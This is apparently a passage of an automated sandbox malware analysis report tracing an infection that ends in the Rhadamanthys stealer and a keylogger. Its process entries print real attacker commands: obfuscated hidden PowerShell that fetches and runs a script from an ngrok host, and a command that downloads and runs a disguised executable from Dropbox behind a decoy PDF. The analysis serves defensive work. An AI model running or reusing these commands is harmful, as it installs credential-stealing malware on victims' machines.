2024-12-17 11:12:40 UTC	296	IN	Data Raw: cc cc cc cc cc cc cc cc 8b 41 08 83 c0 01 33 d2 39 41 04 0f 94 c2 8a c2 c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 33 c0 89 01 89 41 04 89 41 08 89 41 0c 89 41 10 89 41 14 89 41 18 89 41 1c c3 cc cc cc cc cc cc 8b 01 33 d2 3b 41 04 0f 9e c2 8a c2 c3 cc cc cc c7 01 00 00 00 00 c7 41 04 ff ff ff ff c6 41 0c 00 c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc c7 01 84 96 68 01 c3 cc cc cc cc cc cc cc cc cc f6 44 24 04 01 56 8b f1 c7 06 84 96 68 01 74 09 56 e8 90 a0 5a 00 83 c4 04 8b c6 5e c2 04 00 cc 8b c1 33 c9 c7 00 84 96 68 01 89 48 04 89 48 08 c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 8b 44 24 08 8b 4c 24 04 56 8b 74 24 10 56 50 51 e8 eb be 5a 00 83 c4 0c 8b c6 5e c3 cc cc cc cc 57 8b 7c 24 10 85 ff 76 1b 8b 54 24 0c 8b 4c 24 08 56 8b f7 8a 02 88 Data Ascii: A39A3AAAAAAA3;AAAhD$VhtVZ^3hHHD$L$Vt$VPQZ^W\|$vT$L$V
2024-12-17 11:12:40 UTC	16384	IN	Data Raw: 57 8b 7c 24 10 85 ff 76 1b 8b 4c 24 0c 8b 54 24 08 56 8b f7 8a 02 88 01 83 c1 01 83 c2 01 83 ee 01 75 f1 5e 8b c7 5f c3 cc cc cc cc cc cc cc cc 8b 44 24 04 8b 4c 24 08 56 8b 74 24 10 56 50 51 e8 5b be 5a 00 83 c4 0c 8b c6 5e c3 cc cc cc cc 8b 4c 24 04 8b 44 24 0c 0f b6 11 50 8b 44 24 0c 52 50 e8 69 c5 5a 00 83 c4 0c 33 c0 c3 cc cc cc 8a 81 7c 03 00 00 c6 81 7c 03 00 00 00 c3 cc cc c2 04 00 cc cc cc cc cc cc cc cc cc cc cc cc cc c2 04 00 cc cc cc cc cc cc cc cc cc cc cc cc cc c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 8b 44 24 0c c7 00 a9 00 00 00 b0 01 c2 0c 00 cc c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 8b 41 20 8b 80 1c 02 00 00 c3 cc cc cc cc cc cc 8b 41 20 8b 80 20 02 00 00 c3 cc cc cc cc cc Data Ascii: W\|$vL$T$Vu^_D$L$Vt$VPQ[Z^L$D$PD$RPiZ3\|\|D$A A
2024-12-17 11:12:40 UTC	16384	IN	Data Raw: b0 01 5e c2 04 00 cc cc cc cc cc cc cc cc cc cc 83 ec 08 56 8b f1 8b 56 10 8d 44 24 08 50 8d 4c 24 08 51 68 80 00 00 00 68 ff ff 00 00 52 c7 44 24 1c 04 00 00 00 ff 15 14 0f 9d 02 8b 44 24 10 66 3b 44 24 06 74 41 8b 56 10 66 89 44 24 06 8b 44 24 08 50 8d 4c 24 08 51 68 80 00 00 00 68 ff ff 00 00 52 c7 46 08 00 00 00 00 ff 15 18 0f 9d 02 83 f8 ff 75 12 ff 15 20 0f 9d 02 89 46 08 32 c0 5e 83 c4 08 c2 04 00 b0 01 5e 83 c4 08 c2 04 00 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 83 ec 08 56 8b f1 8b 56 10 8d 44 24 08 50 8d 4c 24 08 51 68 80 00 00 00 68 ff ff 00 00 52 c7 44 24 1c 04 00 00 00 ff 15 14 0f 9d 02 8a 44 24 10 33 c9 66 39 4c 24 04 0f b6 d0 0f 95 c1 3b d1 74 48 8b 54 24 08 33 c9 84 c0 0f 95 c1 52 8d 44 24 08 50 68 80 00 00 00 68 ff ff 00 00 c7 46 08 Data Ascii: ^VVD$PL$QhhRD$D$f;D$tAVfD$D$PL$QhhRFu F2^^VVD$PL$QhhRD$D$3f9L$;tHT$3RD$PhhF
2024-12-17 11:12:40 UTC	16384	IN	Data Raw: 01 7c 30 0c 8d 74 30 0c 8b 71 1c 01 7c 30 10 85 d2 8d 74 30 10 0f 85 75 ff ff ff 5f 5e 5b c2 08 00 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 53 56 57 8b f1 8d 46 04 68 00 10 00 00 50 89 06 ff 15 34 0c 9d 02 8b 3d 50 0c 9d 02 33 db 53 53 6a 01 53 c7 46 1c ff ff ff ff 89 5e 20 89 5e 24 89 5e 28 ff d7 53 53 53 53 89 46 2c ff d7 53 53 6a 01 89 46 4c 53 89 5e 6c ff d7 53 53 53 53 89 46 70 ff d7 89 86 90 00 00 00 5f 89 9e b0 00 00 00 8b c6 5e 5b c3 cc cc cc cc cc cc cc cc cc cc 56 8b f1 8b 06 50 ff 15 40 0c 9d 02 83 46 24 01 83 7e 28 00 7e 09 56 8d 4e 2c e8 e1 61 01 00 83 7e 20 00 7d 1a 57 8d 7e 2c 8d a4 24 00 00 00 00 56 8b cf e8 c8 61 01 00 83 7e 20 00 7c f2 5f 83 46 20 01 83 46 24 ff 8b 0e 51 ff 15 44 0c 9d 02 5e c3 cc cc cc cc cc cc cc cc cc cc cc cc cc Data Ascii: \|0t0q\|0t0u_^[SVWFhP4=P3SSjSF^ ^$^(SSSSF,SSjFLS^lSSSSFp_^[VP@F$~(~VN,a~ }W~,$Va~ \|_F F$QD^
2024-12-17 11:12:40 UTC	16384	IN	Data Raw: 14 89 44 24 2c 8b bc 24 88 01 00 00 66 83 7d 00 2e 0f 85 7e 00 00 00 0f b7 45 02 83 c5 02 66 3d 2a 00 89 6c 24 14 89 54 24 30 75 21 8b 07 83 c7 04 83 c5 02 3b c3 89 bc 24 88 01 00 00 89 6c 24 14 7d 4e 89 5c 24 30 89 5c 24 1c eb 48 66 3d 30 00 72 42 66 3d 39 00 77 3c 0f b7 4d 02 83 c5 02 0f b7 c0 83 e8 30 66 83 f9 30 89 6c 24 14 72 21 66 83 f9 39 77 17 8d 14 80 83 c5 02 0f b7 c1 0f b7 4d 00 66 83 f9 30 8d 44 50 d0 73 e3 89 6c 24 14 89 44 24 1c 0f b7 45 00 66 3d 68 00 ba 6c 00 00 00 74 05 66 3b c2 75 28 0f b7 c0 83 c5 02 66 3b c2 89 44 24 24 89 6c 24 14 75 15 66 39 55 00 75 0f 83 c5 02 c7 44 24 24 32 00 00 00 89 6c 24 14 0f b7 4d 00 0f b7 f1 0f b7 c6 83 c0 bc 83 f8 25 77 2c 0f b6 80 34 cb 41 00 ff 24 85 20 cb 41 00 be 64 00 00 00 eb 17 be 64 00 00 00 eb 0c Data Ascii: D$,$f}.~Ef=*l$T$0u!;$l$}N\$0\$Hf=0rBf=9w<M0f0l$r!f9wMf0DPsl$D$Ef=hltf;u(f;D$$l$uf9UuD$$2l$M%w,4A$ Add

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.5	49927	3.125.102.39	443	8532	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-17 11:13:19 UTC	228	OUT	GET /metadata/6dc5ab464f5bc22bbff3934d61830606 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 1zf9cygs0q3iviyowq83ddwzwtgf78rh.ngrok.app Connection: Keep-Alive
2024-12-17 11:13:21 UTC	213	IN	HTTP/1.1 404 Not Found Access-Control-Allow-Origin: * Content-Length: 207 Content-Type: text/html; charset=utf-8 Date: Tue, 17 Dec 2024 11:13:20 GMT Server: Werkzeug/3.0.3 Python/3.12.8 Connection: close
2024-12-17 11:13:21 UTC	207	IN	Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 65 20 73 65 72 76 65 72 2e 20 49 66 20 79 6f 75 20 65 6e 74 65 72 65 64 20 74 68 65 20 55 52 4c 20 6d 61 6e 75 61 6c 6c 79 20 70 6c 65 61 73 65 20 63 68 65 63 6b 20 79 6f 75 72 20 73 70 65 6c 6c 69 6e 67 20 61 6e 64 20 74 72 79 20 61 67 61 69 6e 2e 3c 2f 70 3e 0a Data Ascii: <!doctype html><html lang=en><title>404 Not Found</title><h1>Not Found</h1><p>The requested URL was not found on the server. If you entered the URL manually please check your spelling and try again.</p>

Target ID:	0
Start time:	06:11:57
Start date:	17/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c pOweRsHeLL -wIndoWStYLe hiDdeN -c set-alias aa2841 curl ; sal av96dc iEx ; av96dc(aa2841 -Uri https://1zf9cygs0q3iviyowq83ddwzwtgf78rh.ngrok.app/api/secure/6dc5ab464f5bc22bbff3934d61830606 -UseBasicParsing)
Imagebase:	0x7ff6884c0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	06:11:57
Start date:	17/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	06:11:57
Start date:	17/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	pOweRsHeLL -wIndoWStYLe hiDdeN -c set-alias aa2841 curl ; sal av96dc iEx ; av96dc(aa2841 -Uri https://1zf9cygs0q3iviyowq83ddwzwtgf78rh.ngrok.app/api/secure/6dc5ab464f5bc22bbff3934d61830606 -UseBasicParsing)
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	06:12:16
Start date:	17/12/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --kiosk https://www.dropbox.com/scl/fi/51s9d8onfy15b992c2555/Dokument-analizy-narusze-praw-autorskich.pdf?rlkey=rd8jt5nvhndaetvxdprpig90q&dl=1
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	06:12:17
Start date:	17/12/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff7e52b0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	7
Start time:	06:12:18
Start date:	17/12/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2236 --field-trial-handle=2028,i,9691680658605753905,1504739169661148908,262144 /prefetch:3
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	06:12:18
Start date:	17/12/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --kiosk --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate https://www.dropbox.com/scl/fi/51s9d8onfy15b992c2555/Dokument-analizy-narusze-praw-autorskich.pdf?rlkey=rd8jt5nvhndaetvxdprpig90q&dl=1
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	06:12:19
Start date:	17/12/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2568 --field-trial-handle=2500,i,16519408436557575134,16982295355618808567,262144 /prefetch:3
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	12
Start time:	06:12:23
Start date:	17/12/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6488 --field-trial-handle=2500,i,16519408436557575134,16982295355618808567,262144 /prefetch:8
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	06:12:23
Start date:	17/12/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6624 --field-trial-handle=2500,i,16519408436557575134,16982295355618808567,262144 /prefetch:8
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	06:12:23
Start date:	17/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\2055147785.bat" "
Imagebase:	0x7ff6884c0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	06:12:23
Start date:	17/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	06:12:23
Start date:	17/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell -wIndoWStYLe hiDdeN -NoProfile -Command "$RandomPDF = Join-Path -Path $env:TEMP -ChildPath ('{0}.pdf' -f ([guid]::NewGuid())); $RandomEXE = Join-Path -Path $env:TEMP -ChildPath ('{0}.exe' -f ([guid]::NewGuid())); Invoke-WebRequest -Uri 'https://www.dropbox.com/scl/fi/51s9d8onfy15b992c2555/Dokument-analizy-narusze-praw-autorskich.pdf?rlkey=rd8jt5nvhndaetvxdprpig90q&dl=1' -OutFile $RandomPDF; Start-Process -FilePath 'msedge.exe' -ArgumentList '--kiosk', $RandomPDF; Invoke-WebRequest -Uri 'https://www.dropbox.com/scl/fi/g33vds4uvy26a8v7ble7g/runner.exe?rlkey=cqe2asmea4sh0uo2xxsstxzdd&dl=1' -OutFile $RandomEXE; Start-Process -FilePath $RandomEXE; if (Test-Path $RandomEXE) { Invoke-WebRequest -Uri 'https://1zf9cygs0q3iviyowq83ddwzwtgf78rh.ngrok.app/metadata/6dc5ab464f5bc22bbff3934d61830606'; }"
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	06:12:30
Start date:	17/12/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_collections.mojom.CollectionsDataManager --lang=en-GB --service-sandbox-type=collections --mojo-platform-channel-handle=6972 --field-trial-handle=2500,i,16519408436557575134,16982295355618808567,262144 /prefetch:8
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	06:12:32
Start date:	17/12/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --kiosk C:\Users\user\AppData\Local\Temp\5622253b-f54a-4cad-af64-795d524a2bab.pdf
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	06:12:34
Start date:	17/12/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=ppapi --lang=en-GB --device-scale-factor=1 --ppapi-antialiased-text-enabled=1 --ppapi-subpixel-rendering-setting=1 --mojo-platform-channel-handle=8376 --field-trial-handle=2500,i,16519408436557575134,16982295355618808567,262144 /prefetch:6
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	23
Start time:	06:12:34
Start date:	17/12/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=1012 --field-trial-handle=1968,i,15940542465096520038,8581582987264713649,262144 /prefetch:3
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	06:13:16
Start date:	17/12/2024
Path:	C:\Users\user\AppData\Local\Temp\933d8aec-ae86-4e0a-8a0a-8d74c5daaa60.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\933d8aec-ae86-4e0a-8a0a-8d74c5daaa60.exe"
Imagebase:	0x400000
File size:	25'100'288 bytes
MD5 hash:	9BFDFAADE8C1612270DA2A69959756A7
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	06:13:19
Start date:	17/12/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=6744 --field-trial-handle=2500,i,16519408436557575134,16982295355618808567,262144 /prefetch:8
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	27
Start time:	06:13:32
Start date:	17/12/2024
Path:	C:\Users\user\AppData\Local\Temp\933d8aec-ae86-4e0a-8a0a-8d74c5daaa60.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\933d8aec-ae86-4e0a-8a0a-8d74c5daaa60.exe"
Imagebase:	0x400000
File size:	25'100'288 bytes
MD5 hash:	9BFDFAADE8C1612270DA2A69959756A7
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_RHADAMANTHYS, Description: Yara detected RHADAMANTHYS Stealer, Source: 0000001B.00000003.3001358905.0000000002E10000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Keylogger_Generic, Description: Yara detected Keylogger Generic, Source: 0000001B.00000003.3007420769.00000000056F0000.00000004.00000001.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RHADAMANTHYS, Description: Yara detected RHADAMANTHYS Stealer, Source: 0000001B.00000002.3017348989.0000000003160000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Keylogger_Generic, Description: Yara detected Keylogger Generic, Source: 0000001B.00000003.3007231833.00000000054D0000.00000004.00000001.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	06:13:34
Start date:	17/12/2024
Path:	C:\Windows\SysWOW64\fontdrvhost.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\fontdrvhost.exe"
Imagebase:	0xf90000
File size:	676'584 bytes
MD5 hash:	8D0DA0C5DCF1A14F9D65F5C0BEA53F3D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Keylogger_Generic, Description: Yara detected Keylogger Generic, Source: 0000001C.00000003.3012432816.0000000005220000.00000004.00000001.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Keylogger_Generic, Description: Yara detected Keylogger Generic, Source: 0000001C.00000003.3012717121.0000000005440000.00000004.00000001.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RHADAMANTHYS, Description: Yara detected RHADAMANTHYS Stealer, Source: 0000001C.00000003.3009097724.0000000000E80000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RHADAMANTHYS, Description: Yara detected RHADAMANTHYS Stealer, Source: 0000001C.00000002.3111497032.0000000003210000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	31
Start time:	06:13:34
Start date:	17/12/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 6180 -s 440
Imagebase:	0x8a0000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	32
Start time:	06:13:44
Start date:	17/12/2024
Path:	C:\Windows\System32\fontdrvhost.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\fontdrvhost.exe"
Imagebase:	0x7ff7b5950000
File size:	827'408 bytes
MD5 hash:	BBCB897697B3442657C7D6E3EDDBD25F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	34
Start time:	06:13:47
Start date:	17/12/2024
Path:	C:\Windows\System32\WerFault.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\WerFault.exe -u -p 4592 -s 136
Imagebase:	0x7ff6b6bb0000
File size:	570'736 bytes
MD5 hash:	FD27D9F6D02763BDE32511B5DF7FF7A0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Function 00007FF848E733B5 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2396730415.00007FF848E70000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848E70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff848e70000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 08da065673a25bdeb927b4c2f952ba14616e05d90be0e25124618a69153761d0
Instruction ID: 24ef75c526cb65825109a4e7586d62867e1718cfd4eae63a3c90891dd0916743
Opcode Fuzzy Hash: 08da065673a25bdeb927b4c2f952ba14616e05d90be0e25124618a69153761d0
Instruction Fuzzy Hash: CF01677111CB0D4FDB44EF0CE451AA6B7E0FB95364F50056DE58AC3691DB36E882CB45

Non-executed Functions

Function 00007FF848E74CA5 Relevance: 2.1, Strings: 1, Instructions: 864COMMON

Download Yara Rule

Strings

I, xrefs: 00007FF848E74DBD

Memory Dump Source

Source File: 00000002.00000002.2396730415.00007FF848E70000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848E70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff848e70000_powershell.jbxd

Similarity

API ID:
String ID: I
API String ID: 0-3707901625
Opcode ID: 1a70a34e23307433f7340b8d15a16d7fa4ec71d49c38dd56b6856c56159c476d
Instruction ID: dc5f61f2840f053449c055c1d5d1bff13155c04747a9fad7adb42a4d603f81cc
Opcode Fuzzy Hash: 1a70a34e23307433f7340b8d15a16d7fa4ec71d49c38dd56b6856c56159c476d
Instruction Fuzzy Hash: 83320E53F0E9C64FF2A9562C7C151796B84FFA3A69F0903FBC188471DF99399C068289

Function 00007FF848E74D0C Relevance: 2.1, Strings: 1, Instructions: 811COMMON

Download Yara Rule

Strings

I, xrefs: 00007FF848E74DBD

Memory Dump Source

Source File: 00000002.00000002.2396730415.00007FF848E70000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848E70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff848e70000_powershell.jbxd

Similarity

API ID:
String ID: I
API String ID: 0-3707901625
Opcode ID: c4b87dc5fd4ecdd395124dd57a15146b20580b062d2733fbb075d5b71c8c2aca
Instruction ID: caf41fa7a5325bfcbbe624661def5a4bffb5265b0444ea8e29f3259241ce7da1
Opcode Fuzzy Hash: c4b87dc5fd4ecdd395124dd57a15146b20580b062d2733fbb075d5b71c8c2aca
Instruction Fuzzy Hash: CA32EE43F0E9C64FF2A9562C7C152796B84FBA3A69F0907FBC148471DF99399C0682C9

Analysis Process: powershell.exePID: 8532, Parent PID: 8356COMMON

Executed Functions

Function 00007FF848F232E5 Relevance: .4, Instructions: 438COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000002.2978853207.00007FF848F20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff848f20000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1e34df8fc5505954a39cbf96ebaf2f4fb6585a83008b3a94f78a6837ed302901
Instruction ID: 1ba0f30f0ceb0e1bd80143520a55c6b3adbedf5d5a5121e0a475bb54c9a765de
Opcode Fuzzy Hash: 1e34df8fc5505954a39cbf96ebaf2f4fb6585a83008b3a94f78a6837ed302901
Instruction Fuzzy Hash: C2D14471E0EA8A5FE796AB2C68155B57BE0FF06390F0801FAD04DC71E3DE19AC058356

Function 00007FF848E5ADB8 Relevance: .2, Instructions: 235COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000002.2975804312.00007FF848E50000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848E50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff848e50000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cb5825516c7343f027e8a6538b0f32b9f32aae6a6d5c7bd6e7bf92a62f86a2a8
Instruction ID: 23cc1cc0dcffd528495e172ef53268582464d5d39657d8feced9d22ec9525c65
